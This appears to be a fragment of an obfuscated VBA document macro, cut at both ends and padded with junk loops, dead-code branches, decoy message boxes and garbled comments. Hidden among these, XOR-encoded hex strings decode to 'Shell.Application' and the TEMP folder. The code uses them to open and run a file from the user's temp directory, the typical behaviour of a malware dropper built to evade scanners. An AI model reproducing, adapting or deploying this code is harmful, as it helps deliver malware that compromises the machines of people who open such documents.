'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim JKlcBayQ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For JKlcBayQ = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next JKlcBayQ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next MlFxmIPE 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim bMubKxLb As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For bMubKxLb = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next bMubKxLb 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("PFFvNcqz44") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("jrKcoHul4868") = Len("scjezXlU") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim GCoMqQzV As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For GCoMqQzV = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim VarDWFmf As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For VarDWFmf = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next VarDWFmf 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next GCoMqQzV 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim wjdeZsVL As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For wjdeZsVL = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next wjdeZsVL 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim AZCHHChm As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For AZCHHChm = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim gpjPWdAf As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For gpjPWdAf = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next gpjPWdAf 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next AZCHHChm 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim crjOBVUy As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For crjOBVUy = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next crjOBVUy 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 644937 = 644937 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 9139 < 66 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim QlhhxIlZ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For QlhhxIlZ = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim coJDeCeK As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For coJDeCeK = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next coJDeCeK 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next QlhhxIlZ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim YrJSyIoQ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For YrJSyIoQ = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next YrJSyIoQ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("NwPGkyOS56") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("jTsXlGNM1989") = Len("KpFpAfvn") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim EjanCGWz As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For EjanCGWz = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim BCmbEitO As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For BCmbEitO = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next BCmbEitO 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next EjanCGWz 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim dlnajKdE As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For dlnajKdE = 0 To 2 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next dlnajKdE 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim EjVSyDTp As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For EjVSyDTp = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim lUFBfTfP As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For lUFBfTfP = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next lUFBfTfP 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next EjVSyDTp 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim VeKFJtqR As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For VeKFJtqR = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next VeKFJtqR 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Set hvUHVIKdfg = CreateObject(XORI(Hextostring("1E2A3321287F223D323A24273017242D38"), Hextostring("4D42564D445163"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó hvUHVIKdfg.Open Environ(XORI(Hextostring("1E3D271B"), Hextostring("4A786A4B6874"))) & XORI(Hextostring("2C1E252F13113A15343D080E5E220B12"), Hextostring("70477377514B")) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 627487 = 627487 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 3933 < 33 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim bStikQWF As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For bStikQWF = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim vaANgjPZ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For vaANgjPZ = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next vaANgjPZ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next bStikQWF 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim TgKSeyNn As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For TgKSeyNn = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next TgKSeyNn 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("280310362F2C3A05635A"), Hextostring("4355526F4B6A"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len(XORI(Hextostring("3814132B3C191E3858404D7C"), Hextostring("6C777A4F"))) = Len(XORI(Hextostring("0E3F1C3129212B35"), Hextostring("6C75457A"))) Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim TtVIwRWB As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For TtVIwRWB = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim DlXxsHgI As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For DlXxsHgI = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next DlXxsHgI 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next TtVIwRWB 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim CsatdOXM As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For CsatdOXM = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next CsatdOXM 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox (XORI(Hextostring("363E141C3E46526D47"), Hextostring("734C66"))) 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ehEdcrPP As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ehEdcrPP = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim APCxzBzE As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For APCxzBzE = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next APCxzBzE 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ehEdcrPP 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim BNySOwYi As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For BNySOwYi = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next BNySOwYi 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Set TANDPOVQGQA = Nothing 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 356199 = 356199 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 3467 < 66 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim AvsDRODC As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For AvsDRODC = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim golOOMSu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For golOOMSu = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next golOOMSu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next AvsDRODC 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim bavkPDml As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For bavkPDml = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next bavkPDml 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ 